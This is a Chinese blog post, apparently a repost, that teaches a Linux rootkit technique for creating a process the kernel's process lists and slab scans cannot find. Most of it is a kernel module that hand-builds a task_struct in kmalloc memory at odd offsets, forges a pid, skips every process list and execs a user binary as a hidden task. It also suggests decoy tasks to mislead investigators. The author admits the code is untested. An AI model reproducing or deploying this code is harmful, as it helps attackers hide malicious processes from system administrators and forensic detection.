Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)

在前面的文章中,我不止一次谈到隐藏一个进程的方法,该方法在我看来引以为豪地彻底又直接:

  • 将task从tasks链表摘除。
  • 将task从pid链表摘除。

如此一来除非你扫描run queue或者扫描内存进行特征匹配,否则很难找到这个被隐藏的进程:

  • task即使被隐藏也要进入run queue运行。
  • task的字段值或者其地址本身具有特征。

当然,前面提到的perf probe/trace,dump stack之类的侦测技术无疑也属于扫描run queue或者特征匹配的范畴。

方法是好方法,确实也可以吊打那些hook procfs的方法,但是有个漏洞:

  • task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的!

我们将task从各类链表摘除,无非就是想做一件事,那就是让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变!

我们把task的各类链表看作是它的身份证,户口本之类,属于task本身的合法性证件,那么管理task的kmem cache就是task出生的医院以及接生护士,携带着出生证明,在系统中,它就是task_struct_cachep。

身份证,户口本可以伪造,可以撕毁,但是task出生的医院却无法搬移!

只要我们扫描task_struct_cachep中的所有活动对象,那么定然可以找到所有task,包括被隐藏的task!!

这无疑对摘链而言,又是一次降维打击。

如何应对?

做一个类比,在计划-生育的年代,如果想多生,那肯定不能去医院。类似的,如果不想自己的task被slab管理,那就别在kmem cache中创建task!如果说我们把摘链方案看作是后天伪造身份的话,那么避开task_struct_cachep slab而创建的task就是天生的黑户。

为了完成这个目标,即创建一个黑户task,就意味着, 我们要自定义fork的过程。

先看看我如何创建task:

base = kmalloc(2048*3, GFP_KERNEL);
tsk = (struct task_struct *)(base + 157);

首先,我们在kmalloc-8192中分配task,以防止被人根据task_struct的大小一下子猜到kmalloc-4096,其次,我们在内存的稍微大一些的奇数偏移处开始初始化task_struct,毕竟,大多数的人以及几乎所有经理都认为地址都是从对齐的偶数开始的,偏不,哈哈。

我们知道,kmalloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,不管怎么说,它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:

bash = page_address(__alloc_pages(...));
tsk = (struct task_struct *)(base + 157);

甚至可以将task放藏在内核_text段中可供藏污纳垢的地方。

本文为了快速展示效果,并不采用这些彻底的方式,而是采用较为简单的kmalloc。

接下来的任务就简单了:

  1. 照着copy_process的实现进行最小化代码复制。
  2. 不要复制copy_process的pid管理部分,改为LIST_INIT。
  3. 不要复制copy_process的链表管理部分,改为HLIST_INIT。
  4. 所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
  5. 剩余的空闲内存填充task字段的显著特征值,以混淆视听。
  6. 实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
  7. 设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
  8. wake up新进程。
  9. 新进程尽量不要退出,因为kmem cache不会收容它的尸体。

第9点比较有意思,出生时的黑户,死了也没法入土为安…

黑户的收尸工作还得找私人来做:

  • 让黑户睡眠在私人的一个队列上,然后马上schedule。
  • 私人进行kfree操作即可。

来来来,看代码:

// 声明两句:
// 1. 我嫌麻烦,所以很多函数没有抄写,而只是lookup syms后直接调用。
// 2. 最小化原则,不保证没有BUG。
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>

int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);

int test_stub2(void)
{
    printk("stub pid: %d  at %p\n", current->pid, current);
    if (_run_process) {
        int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
        printk("result:%d\n", r);
    }
    current->parent = current;
    current->real_parent = current;
    // kernel thread要返回用户态,才能达到exec到新task的效果。
    // 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。
    // 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。
    return 0;
}

int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);
enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer);

static int __init private_proc_init(void)
{
    unsigned char *base;
    struct task_struct *tsk;
    struct thread_info *ti;
    struct task_struct *orig = current;
    unsigned long *stackend;
    struct pid_link *link;
    struct hlist_node *node;
    struct sighand_struct *sig;
    struct signal_struct *sign;
    struct cred *new;
    struct pid *pid = NULL;
    int type, err = 0;

    _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
    _sched_fork = (void *)kallsyms_lookup_name("sched_fork");
    _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
    _dup_fd = (void *)kallsyms_lookup_name("dup_fd");
    _run_process = (void *)kallsyms_lookup_name("do_execve");
    _getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
    _it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
    _alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
    _copy_thread = (void *)kallsyms_lookup_name("copy_thread");
    _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

    base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
    tsk = (struct task_struct *)(base + 157);
    _arch_dup_task_struct(tsk, orig);
    base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
    ti = (struct thread_info *)(base);
    tsk->stack = ti;
    *task_thread_info(tsk) = *task_thread_info(orig);
    task_thread_info(tsk)->task = tsk;
    stackend = end_of_stack(tsk);
    *stackend = 0x57AC6E9D;
    tsk->stack_canary = get_random_int();

    clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
    clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED   );
    // 避免wait释放kmalloc的内存到特定slab,引用计数设置为2
    atomic_set(&tsk->usage, 2);
    tsk->splice_pipe = NULL;
    tsk->task_frag.page = NULL;
    memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

    raw_spin_lock_init(&tsk->pi_lock);
    plist_head_init(&tsk->pi_waiters);
    tsk->pi_blocked_on = NULL;

    rcu_copy_process(tsk);
    tsk->vfork_done = NULL;
    spin_lock_init(&tsk->alloc_lock);
    init_sigpending(&tsk->pending);

    seqlock_init(&tsk->vtime_seqlock);
    tsk->audit_context = NULL;

    _sched_fork(0, tsk);

    tsk->mm = NULL;
    tsk->active_mm = NULL;
    memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
    mutex_init(&tsk->perf_event_mutex);
    INIT_LIST_HEAD(&tsk->perf_event_list);

    new = prepare_creds();
    if (new->thread_keyring) {
        key_put(new->thread_keyring);
        new->thread_keyring = NULL;
    }
    key_put(new->process_keyring);
    new->process_keyring = NULL;
    atomic_inc(&new->user->processes);
    tsk->cred = tsk->real_cred = get_cred(new);
    validate_creds(new);

    tsk->fs = _copy_fs_struct(current->fs);
    tsk->files = _dup_fd(current->files, &err);
    base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
    // 奇数地址
    sig = (struct sighand_struct *)(base + 3);
    // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
    atomic_set(&sig->count, 2);
    memcpy(sig->action, current->sighand->action, sizeof(sig->action));

    base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
    sign = (struct signal_struct *)(base + 7);
    sign->nr_threads = 1;
    // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
    atomic_set(&sign->live, 2);
    atomic_set(&sign->sigcnt, 2);
    sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
    tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
    init_waitqueue_head(&sign->wait_chldexit);
    sign->curr_target = tsk;
    init_sigpending(&sign->shared_pending);
    INIT_LIST_HEAD(&sign->posix_timers);
    seqlock_init(&sign->stats_lock);
    memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

    tsk->cgroups = current->cgroups;
    atomic_inc(&tsk->cgroups->refcount);
    INIT_LIST_HEAD(&tsk->cg_list);

    // 设置堆栈以及入口
    tsk->flags |= PF_KTHREAD;
    // 我们用一个kernel thread stub来exec到用户态的binary。
    _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
    tsk->clear_child_tid = NULL;
    tsk->set_child_tid = NULL;

    // 伪造身份证明
    pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
    pid->level = current->nsproxy->pid_ns->level;
    pid->numbers[0].nr = 0xffff;
    pid->numbers[0].ns = current->nsproxy->pid_ns;
    for (type = 0; type < PIDTYPE_MAX; ++type)
        INIT_HLIST_HEAD(&pid->tasks[type]);
    atomic_set(&pid->count, 2);

    // 进程管理结构自吞尾
    INIT_LIST_HEAD(&tsk->ptrace_entry);
    INIT_LIST_HEAD(&tsk->ptraced);
    atomic_set(&tsk->ptrace_bp_refcnt, 1);
    tsk->jobctl = 0;
    tsk->ptrace = 0;
    tsk->pi_state_cache = NULL;
    tsk->group_leader = tsk;
    INIT_LIST_HEAD(&tsk->thread_group);
    tsk->pid = pid_nr(pid);
    INIT_LIST_HEAD(&tsk->pi_state_list);
    INIT_LIST_HEAD(&tsk->tasks);
    INIT_LIST_HEAD(&tsk->children);
    INIT_LIST_HEAD(&tsk->sibling);

    // 进程组织自吞尾
    tsk->pids[PIDTYPE_PID].pid = pid;
    link = &tsk->pids[PIDTYPE_PID];
    node = &link->node;
    INIT_HLIST_NODE(node);
    node->pprev = &node;

    // 来吧!
    _wake_up_new_task(tsk);

    return -1; // oneshot,并非真正加载模块
}

static void __exit private_proc_exit(void)
{
}

module_init(private_proc_init);
module_exit(private_proc_exit);
MODULE_LICENSE("GPL");

我们的测试程序是/root/run,它的任务是循环在/dev/pts/0上打一堆a:

#include <fcntl.h>
int main(int argc, char **argv)
{
    int fd = open("/dev/pts/0", O_RDWR);
    while (1) {
        write(fd, "aaaaaaaaa\n", 10);
        sleep(1);
    }
}

效果我就不试了,肯定是在/dev/pts/0上成功打印一堆a。该进程在内核进程管理的任何链表上均无法被找到。如果你非要说它仍然可以在run queue上被找到,我的回答是, Rootkit进程尽量不要大造势,否则引起经理注意了,再牛的技术也无法逃避被找到的命运。

值得点评一句的是,其实可以分配很多同样的task,同时使用task slab,kmalloc slab,buddy,但是只有少量的几个被wake up,如此增强混淆视听的效果。

再次强调,上述的方法创建的task由于没有通过标准slab分配内存,那么为了避免do_exit/wait将这些内存释放回标准slab,引用计数一定要注意设置为2!待到想回收它们时,我们自己来回收便是了,毕竟,只有我们自己知道157,17,13之类的地址偏移,不是么?!


是不是挺有意思?


浙江温州皮鞋湿,下雨进水不会胖。

原文链接: https://blog.csdn.net/dog250/article/details/105939822

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;

也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬

    Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/405984

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年4月26日 上午9:33
下一篇 2023年4月26日 上午9:33

相关推荐